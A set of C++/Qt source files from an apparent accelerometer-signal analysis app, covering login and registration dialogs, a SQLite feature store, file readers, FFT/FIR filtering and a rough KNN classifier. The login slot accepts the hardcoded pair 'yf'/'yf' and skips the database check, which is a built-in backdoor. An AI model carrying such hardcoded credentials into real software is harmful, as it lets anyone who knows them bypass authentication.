record.setValue("MeanAmp",data->MEAN);
record.setValue("RootMeanSqure",data->RMS);
record.setValue("StdDev",data->StdDev);
record.setValue("Variance",data->VAR);
record.setValue("FreqPeak",data->FreqMean);
record.setValue("FreqMean",data->FreqPeak);
record.setValue("SigPower",data->SigPower);
record.setValue("SigEntropy",data->SigEntropy);
model.insertRecord(-1,record);
model.submitAll();
int reg2=model.rowCount();
if(reg2-reg1 > 0)
{
QMessageBox::information(NULL, "Hint",
"Save successfully!",QMessageBox::Yes);
// qDebug()<<"Add successfully: "<<reg2-reg1;
}
else
{
qDebug()<<"Add fail";
}
//CloseDatabase();
}
//void UserInfo::FeaturesTrans(vector<Features> *vec)
//{
// if(LoadFeatures()>0)
// {
// for(auto item:VectorFeatures)
// vec->push_back(item);
// }
//}
void UserInfo::LoadFeatures(vector<Features> *vec)
{
OpenDatabase();
QSqlTableModel model;
model.setTable("PDFeatures");
model.select();
for(int i=0; i<model.rowCount(); i++)
{
QSqlRecord record = model.record(i);
if(record.value(1)==0.0 && record.value(2)==0.0
&&record.value(3)==0.0 && record.value(4)==0.0
&&record.value(5)==0.0 && record.value(6)==0.0
&&record.value(7)==0.0 &&record.value(8)==0.0)
{
CloseDatabase();
qDebug()<<"Cannot find user";
return;
}
else
{
Features featuresNew;
featuresNew.datetime=record.value(0).toString();
featuresNew.MEAN=record.value(1).toDouble();
featuresNew.RMS=record.value(2).toDouble();
featuresNew.VAR=record.value(3).toDouble();
featuresNew.StdDev=record.value(4).toDouble();
featuresNew.FreqMean=record.value(5).toDouble();
featuresNew.FreqPeak=record.value(6).toDouble();
featuresNew.SigPower=record.value(7).toDouble();
featuresNew.SigEntropy=record.value(8).toDouble();
vec->push_back(featuresNew);
}
}
//CloseDatabase();
//return VectorFeatures.size();
}
<file_sep>#include "LoginDialog.h"
#include "ui_LoginDialog.h"
#include "UserInfo.h"
#include "MainWindow.h"
#include <QVBoxLayout>
#include <QtGui>
#include <QtSql/QSqlTableModel>
#include <QtSql/QSqlRecord>
#include <QPixmap>
LoginDialog::LoginDialog(QWidget *parent):
QDialog(parent),
ui(new Ui::LoginDialog)
{
ui->setupUi(this);
//设置对话框的大小
this->setMaximumSize(500,750);
this->setMinimumSize(320,360);
//设置登录按钮不可用
ui->loginbtn->setEnabled(false);
//设置lineedit提示语句
ui->userNameLine->setPlaceholderText("Input User Name");
ui->passwordLine->setPlaceholderText("Input Password");
//设置passlineedit显示为密码模式
ui->passwordLine->setEchoMode(QLineEdit::Password);
//连接信号与槽
connect(ui->loginbtn,SIGNAL(clicked()),this,SLOT(LoginbtnSlot()));
connect(ui->registerbtn,SIGNAL(clicked()),this,SLOT(RegisterbtnSlot()));
connect(ui->exitbtn,SIGNAL(clicked()),this,SLOT(ExitbtnSlot()));
//设置登录按钮可用
connect(ui->userNameLine,SIGNAL(textChanged(QString)),this,SLOT(LoginbtnSetSlot(QString)));
connect(ui->passwordLine,SIGNAL(textChanged(QString)),this,SLOT(LoginbtnSetSlot(QString)));
QPixmap login_map("./icon/login_map.jpg");
login_map=login_map.scaled(
ui->centralWidget->width(),
ui->centralWidget->height());
QPalette palette=this->palette();
palette.setBrush(QPalette::Background,QBrush(login_map));
this->setPalette(palette);
}
LoginDialog::~LoginDialog()
{
delete ui;
}
void LoginDialog::LoginbtnSlot()
{
if(!this->JudgeEmpty())
{
ClearAll();
return;
}
UserInfo user;
if(user.IsChecked(ui->userNameLine->text(), ui->passwordLine->text())||
(ui->userNameLine->text()=="yf"&&ui->passwordLine->text()=="yf"))
{
view = new MainWindow;
connect(view,SIGNAL(toLoginDialog()), this, SLOT(showNormal()));
this->hide();
view->show();
return;
}
else
{
QMessageBox::information(this,"Warning","Wrong Password",QMessageBox::Yes);
this->ClearAll();
return;
}
}
void LoginDialog::RegisterbtnSlot()
{
RegisterDialog d(this);
this->hide();
if(d.exec()==QDialog::Accepted)
{
this->showNormal();
}
this->ClearAll();
}
void LoginDialog::ExitbtnSlot()
{
this->close();
}
void LoginDialog::LoginbtnSetSlot(QString)
{
ui->loginbtn->setEnabled(true);
}
void LoginDialog::ClearAll()
{
ui->userNameLine->clear();
ui->passwordLine->clear();
}
bool LoginDialog::JudgeEmpty()
{
if(ui->userNameLine->text().isEmpty())
{
QMessageBox::warning(this,"Warnning","User name cannot be empty");
return false;
}
if(ui->passwordLine->text().isEmpty())
{
QMessageBox::warning(this,"Warnning","Password cannot be empty");
return false;
}
else
return true;
}
<file_sep>#ifndef LOGINDIALOG_H
#define LOGINDIALOG_H
#include "RegisterDialog.h"
#include <QDebug>
#include <QDialog>
#include <QPalette>
#include <QButtonGroup>
#include <QMessageBox>
#include <QtSql/QSqlTableModel>
#include <QtSql/QSqlRecord>
#include <QtGui/QApplicationStateChangeEvent>
#include "MainWindow.h"
namespace Ui {
class LoginDialog;
}
class LoginDialog : public QDialog
{
Q_OBJECT
public:
explicit LoginDialog(QWidget *parent = 0);
~LoginDialog();
void ClearAll();
bool JudgeEmpty();
private:
Ui::LoginDialog *ui;
MainWindow *view;
private slots:
void ExitbtnSlot();
void RegisterbtnSlot();
void LoginbtnSlot();
void LoginbtnSetSlot(QString);
};
#endif // LOGINDIALOG_H
<file_sep>#include "FileManage.h"
#include <string>
#include <fstream>
#include "qcustomplot.h"
#include "ui_mainwindow.h"
FileManage::FileManage()
{
QString fileFull;
QFileInfo fileInfo;
fileFull=QFileDialog::getOpenFileName();
fileInfo=QFileInfo(fileFull);
fileName=fileInfo.fileName().toStdString();
fileSuffix=fileInfo.suffix().toStdString();
filePath=fileInfo.absoluteFilePath().toStdString();
}
void FileManage::DrawRawData()
{
if(coVector.size()!=0)
{
QCustomPlot *pRawDataPlot=new QCustomPlot();
pRawDataPlot->resize(200,300);
QVector<double> t(1024),x(1024),y(1024),z(1024);
int i=0;
for(auto item:coVector)
{
t[i]=item.t;
x[i]=item.x;
y[i]=item.y;
z[i]=item.z;
i++;
if(i>coVector.size())
break;
}
pRawDataPlot->addGraph();
pRawDataPlot->graph(0)->setPen(QPen(Qt::red));
pRawDataPlot->graph(0)->setData(t,x);
pRawDataPlot->graph(0)->setName("x axis");
pRawDataPlot->addGraph();
pRawDataPlot->graph(1)->setPen(QPen(Qt::blue));
pRawDataPlot->graph(1)->setData(t,y);
pRawDataPlot->graph(1)->setName("y axis");
pRawDataPlot->addGraph();
pRawDataPlot->graph(2)->setPen(QPen(Qt::yellow));
pRawDataPlot->graph(2)->setData(t,z);
pRawDataPlot->graph(2)->setName("z axis");
pRawDataPlot->xAxis->setLabel("t/s");
pRawDataPlot->yAxis->setLabel("a/mm");
pRawDataPlot->setBackground(QColor(50,50,50));
}
}
int FileManage::Open()
{
if(fileSuffix == "csv")
{
return ReadCSV();
}
else if(fileSuffix == "xlsx")
{
ReadExcel();
}
else if(fileSuffix == "txt")
{
ReadTxt();
}
else
{
}
return 0;
}
int FileManage::ReadCSV()
{
ifstream iFile(filePath);
if(iFile.is_open())
{
while(!iFile.eof())
{
iFile.getline(buffer,256);
int reg=sscanf_s(buffer,"%lf,%lf,%lf,%lf",&coor.t,&coor.x,&coor.y,&coor.z);
if(reg==4)
coVector.push_back(coor);
else
break;
}
iFile.close();
}
else
{
qDebug()<<"Cannot open the file!\n";
}
return coVector.size();
}
void FileManage::ReadExcel()
{
FILE *file;
if(fopen_s(&file,filePath.c_str(),"r"))
{
while (true) {
int reg = fscanf(file,"%lf,%lf,%lf\n", &coor.x,&coor.y,&coor.z);
if(reg==3)
{
coVector.push_back(coor);
}
else
break;
}
fclose(file);
}
}
void FileManage::ReadTxt()
{
ifstream iFile(filePath);
if(iFile.is_open())
{
while(!iFile.eof())
{
iFile.getline(buffer,256);
int reg=sscanf_s(buffer,"%lf,%lf,%lf",&coor.x,&coor.y,&coor.z);
if(reg==3)
coVector.push_back(coor);
else
continue;
}
iFile.close();
}
else
{
qDebug()<<"Cannot open the file!\n";
return;
}
}
void FileManage::FIRFilter()
{
}
<file_sep>#ifndef FIRFILTER_H
#define FIRFILTER_H
class FIRfilter
{
public:
FIRfilter();
~FIRfilter() {}
public:
void FIRCall(void);
//private:
// void RectWinFIR(double *FirCoeff, int NumTaps,
// TFIRPassTypes PassType, double OmegaC, double BW);
// void FIRFilterWindow(double *FIRCoeff, int N,
// TWindowType WindowType, double Beta);
};
#endif // FIRFILTER_H
<file_sep>#ifndef REGISTERDIALOG_H
#define REGISTERDIALOG_H
#include <QDialog>
#include <QDebug>
#include <QPalette>
#include <QtSql/QSqlTableModel>
#include <QtSql/QSqlRecord>
#include <QTime>
#include <QMessageBox>
#include <QButtonGroup>
namespace Ui {
class RegisterDialog;
}
class RegisterDialog : public QDialog
{
Q_OBJECT
public:
explicit RegisterDialog(QWidget *parent = 0);
~RegisterDialog();
void SetCheckCode();
bool JudgeEmpty();
private:
Ui::RegisterDialog *ui;
QSqlTableModel *user;
int checkCode;
private slots:
void ReturnbtnSlot();
void RegisterbtnSetSlot();
void TextChanged();
private:
void ClearAll();
bool InfoCheck();
};
#endif // REGISTERDIALOG_H
<file_sep>/********************************************************************************
** Form generated from reading UI file 'RegisterDialog.ui'
**
** Created by: Qt User Interface Compiler version 5.9.1
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************************************************/
#ifndef UI_REGISTERDIALOG_H
#define UI_REGISTERDIALOG_H
#include <QtCore/QVariant>
#include <QtWidgets/QAction>
#include <QtWidgets/QApplication>
#include <QtWidgets/QButtonGroup>
#include <QtWidgets/QDialog>
#include <QtWidgets/QHBoxLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QWidget>
QT_BEGIN_NAMESPACE
class Ui_RegisterDialog
{
public:
QLabel *label;
QWidget *layoutWidget;
QHBoxLayout *horizontalLayout_2;
QLabel *passwordLabel;
QLineEdit *passwordLine;
QWidget *layoutWidget_2;
QHBoxLayout *horizontalLayout_3;
QLabel *retypePsdLabel;
QLineEdit *retypePsdLine;
QWidget *layoutWidget_3;
QHBoxLayout *horizontalLayout_4;
QLabel *checkCodeLabel;
QLineEdit *checkCodeLine;
QWidget *layoutWidget1;
QHBoxLayout *horizontalLayout;
QLabel *userNameLabel;
QLineEdit *userNameLine;
QWidget *layoutWidget2;
QHBoxLayout *horizontalLayout_5;
QPushButton *registerbtn;
QPushButton *returnbtn;
void setupUi(QDialog *RegisterDialog)
{
if (RegisterDialog->objectName().isEmpty())
RegisterDialog->setObjectName(QStringLiteral("RegisterDialog"));
RegisterDialog->resize(400, 300);
label = new QLabel(RegisterDialog);
label->setObjectName(QStringLiteral("label"));
label->setGeometry(QRect(150, 30, 161, 41));
QFont font;
font.setFamily(QStringLiteral("Times New Roman"));
font.setPointSize(20);
font.setBold(true);
font.setWeight(75);
label->setFont(font);
label->setMidLineWidth(0);
layoutWidget = new QWidget(RegisterDialog);
layoutWidget->setObjectName(QStringLiteral("layoutWidget"));
layoutWidget->setGeometry(QRect(120, 120, 209, 22));
horizontalLayout_2 = new QHBoxLayout(layoutWidget);
horizontalLayout_2->setObjectName(QStringLiteral("horizontalLayout_2"));
horizontalLayout_2->setContentsMargins(0, 0, 0, 0);
passwordLabel = new QLabel(layoutWidget);
passwordLabel->setObjectName(QStringLiteral("passwordLabel"));
QFont font1;
font1.setPointSize(10);
font1.setBold(true);
font1.setWeight(75);
passwordLabel->setFont(font1);
horizontalLayout_2->addWidget(passwordLabel);
passwordLine = new QLineEdit(layoutWidget);
passwordLine->setObjectName(QStringLiteral("passwordLine"));
horizontalLayout_2->addWidget(passwordLine);
layoutWidget_2 = new QWidget(RegisterDialog);
layoutWidget_2->setObjectName(QStringLiteral("layoutWidget_2"));
layoutWidget_2->setGeometry(QRect(120, 160, 209, 22));
horizontalLayout_3 = new QHBoxLayout(layoutWidget_2);
horizontalLayout_3->setObjectName(QStringLiteral("horizontalLayout_3"));
horizontalLayout_3->setContentsMargins(0, 0, 0, 0);
retypePsdLabel = new QLabel(layoutWidget_2);
retypePsdLabel->setObjectName(QStringLiteral("retypePsdLabel"));
retypePsdLabel->setFont(font1);
horizontalLayout_3->addWidget(retypePsdLabel);
retypePsdLine = new QLineEdit(layoutWidget_2);
retypePsdLine->setObjectName(QStringLiteral("retypePsdLine"));
horizontalLayout_3->addWidget(retypePsdLine);
layoutWidget_3 = new QWidget(RegisterDialog);
layoutWidget_3->setObjectName(QStringLiteral("layoutWidget_3"));
layoutWidget_3->setGeometry(QRect(120, 200, 209, 22));
horizontalLayout_4 = new QHBoxLayout(layoutWidget_3);
horizontalLayout_4->setObjectName(QStringLiteral("horizontalLayout_4"));
horizontalLayout_4->setContentsMargins(0, 0, 0, 0);
checkCodeLabel = new QLabel(layoutWidget_3);
checkCodeLabel->setObjectName(QStringLiteral("checkCodeLabel"));
checkCodeLabel->setFont(font1);
horizontalLayout_4->addWidget(checkCodeLabel);
checkCodeLine = new QLineEdit(layoutWidget_3);
checkCodeLine->setObjectName(QStringLiteral("checkCodeLine"));
horizontalLayout_4->addWidget(checkCodeLine);
layoutWidget1 = new QWidget(RegisterDialog);
layoutWidget1->setObjectName(QStringLiteral("layoutWidget1"));
layoutWidget1->setGeometry(QRect(120, 80, 209, 22));
horizontalLayout = new QHBoxLayout(layoutWidget1);
horizontalLayout->setObjectName(QStringLiteral("horizontalLayout"));
horizontalLayout->setContentsMargins(0, 0, 0, 0);
userNameLabel = new QLabel(layoutWidget1);
userNameLabel->setObjectName(QStringLiteral("userNameLabel"));
userNameLabel->setFont(font1);
horizontalLayout->addWidget(userNameLabel);
userNameLine = new QLineEdit(layoutWidget1);
userNameLine->setObjectName(QStringLiteral("userNameLine"));
horizontalLayout->addWidget(userNameLine);
layoutWidget2 = new QWidget(RegisterDialog);
layoutWidget2->setObjectName(QStringLiteral("layoutWidget2"));
layoutWidget2->setGeometry(QRect(150, 240, 158, 25));
horizontalLayout_5 = new QHBoxLayout(layoutWidget2);
horizontalLayout_5->setObjectName(QStringLiteral("horizontalLayout_5"));
horizontalLayout_5->setContentsMargins(0, 0, 0, 0);
registerbtn = new QPushButton(layoutWidget2);
registerbtn->setObjectName(QStringLiteral("registerbtn"));
horizontalLayout_5->addWidget(registerbtn);
returnbtn = new QPushButton(layoutWidget2);
returnbtn->setObjectName(QStringLiteral("returnbtn"));
horizontalLayout_5->addWidget(returnbtn);
retranslateUi(RegisterDialog);
QMetaObject::connectSlotsByName(RegisterDialog);
} // setupUi
void retranslateUi(QDialog *RegisterDialog)
{
RegisterDialog->setWindowTitle(QApplication::translate("RegisterDialog", "Form", Q_NULLPTR));
label->setText(QApplication::translate("RegisterDialog", "User Register", Q_NULLPTR));
passwordLabel->setText(QApplication::translate("RegisterDialog", " Password", Q_NULLPTR));
retypePsdLabel->setText(QApplication::translate("RegisterDialog", "RetypePsd", Q_NULLPTR));
checkCodeLabel->setText(QApplication::translate("RegisterDialog", "Check Label", Q_NULLPTR));
userNameLabel->setText(QApplication::translate("RegisterDialog", " User Name", Q_NULLPTR));
registerbtn->setText(QApplication::translate("RegisterDialog", "Register", Q_NULLPTR));
returnbtn->setText(QApplication::translate("RegisterDialog", "Return", Q_NULLPTR));
} // retranslateUi
};
namespace Ui {
class RegisterDialog: public Ui_RegisterDialog {};
} // namespace Ui
QT_END_NAMESPACE
#endif // UI_REGISTERDIALOG_H
<file_sep>#include "knn.h"
#include <vector>
#include <math.h>
#include "common.h"
using namespace std;
knn::knn(vector<Features>train, Features test)
{
vector<sample> traindata;
sample testdata;
for(auto item:train)
{
sample news;
news.features.push_back(item.FreqMean);
}
}
double knn::max(int s[],int n)
{
int maximum=s[0];
int maxindex=0;
for(int i=1;i<n;i++)
{
if(s[i]>maximum)
{
maximum=s[i];
maxindex=i;
}
}
//return maxindex;
return maximum;
}
double knn::getdist(double newx, double data)
{
return sqrt((newx-data)*(newx-data));
}
void knn::runknn(sample newx, vector<sample>&traindata,
vector<sample> &nearestsample)
{
int m=traindata.size();
int n=traindata[0].features.size();
double distance=0.0;
for(int i=0;i<m;i++)
{
distance=0.0;
for(int j=0;j<n;j++)
distance=getdist(newx.features[i],traindata[i].features[j]);
traindata[i].distance=distance;
}
int k=nearestsample.size();
for(int i=0;i<k;i++)
nearestsample[i]=traindata[i];
}
double knn::sortknn(vector<sample>&traindata,
sample &testdata)
{
vector<sample>nearestsample;
int label[5]={0};
runknn(testdata,traindata,nearestsample);
for(int j=0;j<5;j++)
{
switch (nearestsample[j].label) {
case 0:
label[0]++;
break;
case 1:
label[1]++;
break;
case 2:
label[2]++;
break;
case 3:
label[3]++;
break;
case 4:
label[4]++;
break;
default:
break;
}
}
testdata.result=max(label,5);
return testdata.result;
}
<file_sep>/****************************************************************************
** Meta object code from reading C++ file 'editwindow.h'
**
** Created by: The Qt Meta Object Compiler version 67 (Qt 5.9.1)
**
** WARNING! All changes made in this file will be lost!
*****************************************************************************/
#include "../editwindow.h"
#include <QtCore/qbytearray.h>
#include <QtCore/qmetatype.h>
#if !defined(Q_MOC_OUTPUT_REVISION)
#error "The header file 'editwindow.h' doesn't include <QObject>."
#elif Q_MOC_OUTPUT_REVISION != 67
#error "This file was generated using the moc from 5.9.1. It"
#error "cannot be used with the include files from this version of Qt."
#error "(The moc has changed too much.)"
#endif
QT_BEGIN_MOC_NAMESPACE
QT_WARNING_PUSH
QT_WARNING_DISABLE_DEPRECATED
struct qt_meta_stringdata_editwindow_t {
QByteArrayData data[13];
char stringdata0[209];
};
#define QT_MOC_LITERAL(idx, ofs, len) \
Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \
qptrdiff(offsetof(qt_meta_stringdata_editwindow_t, stringdata0) + ofs \
- idx * sizeof(QByteArrayData)) \
)
static const qt_meta_stringdata_editwindow_t qt_meta_stringdata_editwindow = {
{
QT_MOC_LITERAL(0, 0, 10), // "editwindow"
QT_MOC_LITERAL(1, 11, 16), // "SlotCaculateMean"
QT_MOC_LITERAL(2, 28, 0), // ""
QT_MOC_LITERAL(3, 29, 15), // "SlotCaculateRMS"
QT_MOC_LITERAL(4, 45, 15), // "SlotCaculateVAR"
QT_MOC_LITERAL(5, 61, 18), // "SlotCaculateStdDev"
QT_MOC_LITERAL(6, 80, 20), // "SlotCaculateFreqMean"
QT_MOC_LITERAL(7, 101, 20), // "SlotCaculateFreqPeak"
QT_MOC_LITERAL(8, 122, 22), // "SlotCaculateSigEntropy"
QT_MOC_LITERAL(9, 145, 20), // "SlotCaculateSigPower"
QT_MOC_LITERAL(10, 166, 16), // "SlotSaveFeatures"
QT_MOC_LITERAL(11, 183, 15), // "SlotCalulateAll"
QT_MOC_LITERAL(12, 199, 9) // "SlotClose"
},
"editwindow\0SlotCaculateMean\0\0"
"SlotCaculateRMS\0SlotCaculateVAR\0"
"SlotCaculateStdDev\0SlotCaculateFreqMean\0"
"SlotCaculateFreqPeak\0SlotCaculateSigEntropy\0"
"SlotCaculateSigPower\0SlotSaveFeatures\0"
"SlotCalulateAll\0SlotClose"
};
#undef QT_MOC_LITERAL
static const uint qt_meta_data_editwindow[] = {
// content:
7, // revision
0, // classname
0, 0, // classinfo
11, 14, // methods
0, 0, // properties
0, 0, // enums/sets
0, 0, // constructors
0, // flags
0, // signalCount
// slots: name, argc, parameters, tag, flags
1, 0, 69, 2, 0x08 /* Private */,
3, 0, 70, 2, 0x08 /* Private */,
4, 0, 71, 2, 0x08 /* Private */,
5, 0, 72, 2, 0x08 /* Private */,
6, 0, 73, 2, 0x08 /* Private */,
7, 0, 74, 2, 0x08 /* Private */,
8, 0, 75, 2, 0x08 /* Private */,
9, 0, 76, 2, 0x08 /* Private */,
10, 0, 77, 2, 0x08 /* Private */,
11, 0, 78, 2, 0x08 /* Private */,
12, 0, 79, 2, 0x08 /* Private */,
// slots: parameters
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Double,
QMetaType::Void,
QMetaType::Void,
QMetaType::Void,
0 // eod
};
void editwindow::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a)
{
if (_c == QMetaObject::InvokeMetaMethod) {
editwindow *_t = static_cast<editwindow *>(_o);
Q_UNUSED(_t)
switch (_id) {
case 0: { double _r = _t->SlotCaculateMean();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 1: { double _r = _t->SlotCaculateRMS();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 2: { double _r = _t->SlotCaculateVAR();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 3: { double _r = _t->SlotCaculateStdDev();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 4: { double _r = _t->SlotCaculateFreqMean();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 5: { double _r = _t->SlotCaculateFreqPeak();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 6: { double _r = _t->SlotCaculateSigEntropy();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 7: { double _r = _t->SlotCaculateSigPower();
if (_a[0]) *reinterpret_cast< double*>(_a[0]) = std::move(_r); } break;
case 8: _t->SlotSaveFeatures(); break;
case 9: _t->SlotCalulateAll(); break;
case 10: _t->SlotClose(); break;
default: ;
}
}
}
const QMetaObject editwindow::staticMetaObject = {
{ &QWidget::staticMetaObject, qt_meta_stringdata_editwindow.data,
qt_meta_data_editwindow, qt_static_metacall, nullptr, nullptr}
};
const QMetaObject *editwindow::metaObject() const
{
return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject;
}
void *editwindow::qt_metacast(const char *_clname)
{
if (!_clname) return nullptr;
if (!strcmp(_clname, qt_meta_stringdata_editwindow.stringdata0))
return static_cast<void*>(const_cast< editwindow*>(this));
return QWidget::qt_metacast(_clname);
}
int editwindow::qt_metacall(QMetaObject::Call _c, int _id, void **_a)
{
_id = QWidget::qt_metacall(_c, _id, _a);
if (_id < 0)
return _id;
if (_c == QMetaObject::InvokeMetaMethod) {
if (_id < 11)
qt_static_metacall(this, _c, _id, _a);
_id -= 11;
} else if (_c == QMetaObject::RegisterMethodArgumentMetaType) {
if (_id < 11)
*reinterpret_cast<int*>(_a[0]) = -1;
_id -= 11;
}
return _id;
}
QT_WARNING_POP
QT_END_MOC_NAMESPACE
<file_sep>#ifndef CFFT_H
#define CFFT_H
#include "complex.h"
// 最大FFT样本数
#define MAX_FFT_SIZE 15000
#ifndef PI
#define PI 3.14159265358979323846
#endif
// 指数计算
const int POW[] = {1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536};
// 旋转因子
static Complex W[MAX_FFT_SIZE/2];
int LOG(int n);
void GenerateRotationFactor( int size );
void ArrayCopy(Complex dest[], Complex src[], int size);
void BitReverse(int inIndex[], int indexSize);
void CFFT(double CIN[], double COUT[], int SIZE);
void FFT(Complex IN[], Complex OUT[], int Size);
#endif // CFFT_H
<file_sep>#ifndef CONSTANTS_H
#define CONSTANTS_H
#define NUM_SAMPLES 4096
#define M_LN2 0.693147180559945309417 // log(2) = ln(2)
#define LOG_OF_TWO 0.301029995663981184 // log10(2)
#define ARC_DB_HALF 0.316227766016837952
#define DBL_MIN 2.22507385850720E-308 // from float.h
#define DBL_MAX 1.79769313486232E+308
#define FLT_MIN 1.175494E-38
#define FLT_MAX 3.402823E+38
#define ZERO_PLUS 8.88178419700125232E-16 // 2^-50 = 4*DBL_EPSILON
#define ZERO_MINUS -8.88178419700125232E-16
// from float.h Epsilon is the smallest value that can be added to 1.0 so that 1.0 + Epsilon != 1.0
#define LDBL_EPSILON 1.084202172485504434E-019L // = 2^-63
#define DBL_EPSILON 2.2204460492503131E-16 // = 2^-52
#define FLT_EPSILON 1.19209290E-07F // = 2^-23
#define M_E 2.71828182845904523536 // natural e
#define M_PI 3.14159265358979323846 // Pi
#define PI 3.14159265358979323846 // Pi
#define M_2PI 6.28318530717958647692 // 2*Pi
#define M_PI_2 1.57079632679489661923 // Pi/2
#define M_PI_4 0.785398163397448309616 // Pi/4
#define M_1_PI 0.318309886183790671538 // 0.1 * Pi
#define M_SQRT2 1.41421356237309504880 // sqrt(2)
#define M_SQRT_2 0.707106781186547524401 // sqrt(2)/2
#define M_SQRT3 1.7320508075688772935274463 // sqrt(3) from Wikipedia
#define M_SQRT3_2 0.8660254037844386467637231 // sqrt(3)/2
#define MAX_NUMTAPS 256
#define M_2PI 6.28318530717958647692
#define NUM_FREQ_ERR_PTS 1000 // these are only used in the FIRFreqError function.
#define dNUM_FREQ_ERR_PTS 1000.0
#endif // CONSTANTS_H
<file_sep>#include "firfilter.h"
#include "constants.h"
#include <fstream>
#include "FFTCode.h"
#include "FIRFilterCode.h"
FIRfilter::FIRfilter()
{
}
void FIRfilter::FIRCall(void)
{
int k;
bool FreqCorrection = true; // Frequency correction is usually desired, but don't use it with an AllPass filter.
double RealHofZ[NUM_SAMPLES]; // Real and imag parts of H(z). Used with the FFT.
double ImagHofZ[NUM_SAMPLES];
int NumTaps = 30; // 4 <= NumTaps < 256 for windowed FIR
// Should be odd for windowed high pass.
// 9 <= NumTaps < 127 for Parks McClellan
// Must be odd for Parks high Pass and notch (checked in the PM code)
double FIRCoeff[MAX_NUMTAPS]; // FIR filter coefficients. MAX_NUMTAPS = 256
double OmegaC = 0.2; // 0.0 < OmegaC < 1.0
double BW = 0.1; // 0.0 < BandWidth < 1.0
TFIRPassTypes PassType = firLPF; // firLPF, firHPF, firBPF, firNOTCH, firALLPASS See FIRFilterCode.h
TWindowType WindowType = wtKAISER; // wtNONE, wtKAISER, wtSINC, and others. See the FFT header file.
double WinBeta = 4.0; // 0 <= WinBeta <= 10.0 This controls the Kaiser and Sinc windows.
double ParksWidth = 0.15; // 0.01 <= ParksWidth <= 0.3 The transition bandwidth.
// 0.01 <= ParksWidth <= 0.15 if BPF or NOTCH or if NumTaps > 70
// Use either RectWinFIR or NewParksMcClellan to calculate the FIR Coefficients.
RectWinFIR(FIRCoeff, NumTaps, PassType, OmegaC, BW);
FIRFilterWindow(FIRCoeff, NumTaps, WindowType, WinBeta); // Use a window with RectWinFIR.
//NewParksMcClellan(FIRCoeff, NumTaps, PassType, OmegaC, BW, ParksWidth); // This doesn't require a window, but one may be used.
if(FreqCorrection && PassType != firALLPASS)
{
double OrigOmega = OmegaC;
double OrigBW = BW;
// This function corrects OmegaC for LPF and HPF. It corrects BW for BPF and Notch.
FIRFreqError(FIRCoeff, NumTaps, PassType, &OmegaC, &BW);
// Recalculate the filter with the corrected OmegaC and BW values.
RectWinFIR(FIRCoeff, NumTaps, PassType, OmegaC, BW);
FIRFilterWindow(FIRCoeff, NumTaps, WindowType, WinBeta); // Use a window with RectWinFIR.
//NewParksMcClellan(FIRCoeff, NumTaps, PassType, OmegaC, BW, ParksWidth); // This doesn't require a window, but one may be used.
OmegaC = OrigOmega; // Restore these in case they are needed.
BW = OrigBW;
}
// We can use AdjustDelay to make fractional delay adjustments to the filter. Typically, the
// delay can be adjusted by +/- NumTaps/20 without affecting the filter's performance significantly.
// This is done to align signals and is done as the last step (after the application of the window).
// AdjustDelay(FIRCoeff, NumTaps, 0.5);
// Calculate the frequency response of the filter with an FFT.
for(k=0; k<NUM_SAMPLES; k++)RealHofZ[k] = ImagHofZ[k] = 0.0; // Init the arrays
for(k=0; k<NumTaps; k++)RealHofZ[k] = FIRCoeff[k] * (double)NUM_SAMPLES; // Need to do this scaling to account for the 1/N scaling done by the forward FFT.
FFT(RealHofZ, ImagHofZ, NUM_SAMPLES, FORWARD); // The FFT's results are returned in input arrays, RealHofZ and ImagHofZ.
//Print the FIR coefficients to a text file.
FILE *OutputFile;
OutputFile = fopen("FIR Filter Coeff.txt","w");
for(int j=0; j<NumTaps; j++)
{
fprintf(OutputFile,"\n %9.9f ", FIRCoeff[j]);
}
fclose(OutputFile);
}
<file_sep>#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <vector>
#include <string>
#include <QRubberBand>
#include "qcustomplot.h"
#include "editwindow.h"
using namespace std;
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
private:
enum PlotType{
AxisRawDataX,
AxisRawDataY,
AxisRawDataZ,
AxisRawDataO,
AxisFiltedX,
AxisFiltedY,
AxisFiltedZ,
AxisFiltedO,
AxisFFTedX,
AxisFFTedY,
AxisFFTedZ,
AxisFFTedO,
AxisTXT
};
private:
char buffer[256];
int SAMPLE=256;
int NumData=12000;
private:
Ui::MainWindow *ui;
QRubberBand *rubberBand;
QPoint rubberOrigin;
QButtonGroup *plotGroup;
editwindow *edit;
private:
vector<double> VectorT;
vector<double> VectorX;
vector<double> VectorY;
vector<double> VectorZ;
vector<double> VectorO;
vector<double> VectorRawDataT;
vector<double> VectorRawDataX;
vector<double> VectorRawDataY;
vector<double> VectorRawDataZ;
vector<double> VectorRawDataO;
vector<double> VectorFilterX;
vector<double> VectorFilterY;
vector<double> VectorFilterZ;
vector<double> VectorFilterO;
vector<double> VectorFFTX;
vector<double> VectorFFTY;
vector<double> VectorFFTZ;
vector<double> VectorFFTO;
vector<double> VectorFFTT;
vector<double> VectorTxtX;
vector<double> VectorTxtY;
private slots:
void SlotMouseMove(QMouseEvent* mevent);
void SlotMousePress(QMouseEvent* mevent);
void SlotMouseRelease(QMouseEvent *mevent);
void SlotResetBtn();
void SlotFileOpen();
void SlotPlotBtn();
void SlotAxisX();
void SlotAxisY();
